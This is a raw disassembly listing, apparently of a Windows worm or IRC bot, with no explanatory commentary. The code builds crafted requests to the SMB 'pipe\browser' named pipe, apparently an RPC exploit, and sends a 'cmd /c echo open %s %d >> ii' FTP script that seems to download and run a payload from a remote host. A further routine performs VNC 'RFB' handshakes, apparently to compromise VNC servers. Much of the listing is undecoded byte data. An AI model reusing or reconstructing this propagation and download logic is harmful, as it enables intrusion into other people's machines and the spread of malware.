		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al


loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db 0B8h	; ╦
		db 0DCh	; э
		db  60h	; `
		db    0
		db    0
		db 0E8h	; Х
		db  78h	; x
		db 0E1h	; А
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0BCh	; ╪
		db 0D4h	; т
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0A8h	; ╗
		db 0F7h	; В
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; ш
		db  85h	; ┘
		db 0C0h	; ю
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  44h	; D
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0A6h	; ╕
		db 0DFh	; ъ
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; Х
		db 0A7h	; ╖
		db 0DBh	; ш
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  89h	; ┴
		db  85h	; ┘
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ╦
		db  28h	; (
		db 0D1h	; я
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; Х
		db  44h	; D
		db  8Dh	; █
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 271092Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57


loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------


loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_43221C
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432208
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_40DB34


loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2670858h
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321B0[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDC9C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------


loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4321FF+1)


loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321A4[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321AC[esi]
		push	7
		add	eax, edi
		push	offset dword_432198
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432038
		push	eax
		call	sub_41C310
		mov	eax, dword_4321A8[esi]
		add	esp, 30h
		cmp	byte_4321B0[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDC94
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321C8
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------


loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321C8


loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8


loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2670858h
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77


loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax


loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 2700923h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_40DE4F
		nop
		call	near ptr 2690DCCh
		cmp	eax, 3E5h
		jnz	loc_40DA50


loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		call	near ptr 26A060Ah
		nop
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1


loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------


loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]


loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db  81h	; │
		db 0ECh	; Л
		db 0A0h	; ═
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; Ж
		db  6Ah	; j
		db  10h
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0D6h	; ж
		db 0D6h	; ж
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  0Ch
		db  8Dh	; █
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; г
		db  45h	; E
		db 0F0h	; П
		db    2
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  2Ch	; ,
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db 0FFh
		db 0B5h	; ╣
		db 0C4h	; д
		db    0
		db    0
		db    0
		db  89h	; ┴
		db  45h	; E
		db 0F4h	; Т
		db  90h	; ░
		db 0E8h	; Х
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ┴
		db  45h	; E
		db 0F2h	; Р
		db 0E8h	; Х
		db  38h	; 8
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  8Bh	; ▀
		db 0D8h	; ь
		db  83h	; ┐
		db 0FBh	; Ш
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ©
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ▀
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db 0B8h	; ╦
		db    8
		db  91h	; ▒
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0B0h	; ╟
		db 0ACh	; ╛
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0DFh	; ъ
		db 0CCh	; л
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  50h	; P
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; ░
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  38h	; 8
		db 0DAh	; з
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  87h	; ┤
		db 0D0h	; п
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  8Bh	; ▀
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; ю
		db 0EBh	; К
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db 0E7h	; Г
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; и
		db 0C3h	; ц
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 0E8000007h, 2282428h, 0FB834390h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACB0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4


loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------


loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_43140Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFB4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322C4
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146


loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		call	near ptr 71AB1A6Dh
		nop


loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]


loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax


loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------


loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------


loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax


loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC


loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5


loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax


loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433508
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAF74
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx


loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB00C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------


loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467


loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE2C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch


loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
